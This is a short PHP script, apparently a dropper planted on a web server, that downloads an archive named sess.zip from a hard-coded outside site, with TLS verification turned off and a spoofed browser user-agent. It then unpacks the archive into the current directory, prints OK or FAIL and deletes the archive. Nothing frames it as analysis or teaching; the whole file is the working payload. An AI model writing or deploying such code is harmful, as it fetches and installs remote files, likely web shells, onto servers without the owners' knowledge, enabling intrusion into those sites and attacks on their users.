test.zip

<?php

function mbotmbot($sites) {
    $ch = curl_init($sites);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
          curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
          curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
          curl_setopt($ch, CURLOPT_COOKIESESSION,true);
    $data = curl_exec($ch);
          curl_close($ch);
    return $data;
}
$x=mbotmbot("www.uvadiadelfia.it/sess.zip");
@file_put_contents("sess.zip", $x);

$zip = new ZipArchive;
$res = $zip->open('sess.zip');
if ($res === TRUE) {
  $zip->extractTo('./');
  $zip->close();
  echo 'OK!';
} else {

  echo 'FAIL!';
}
unlink('sess.zip');

?>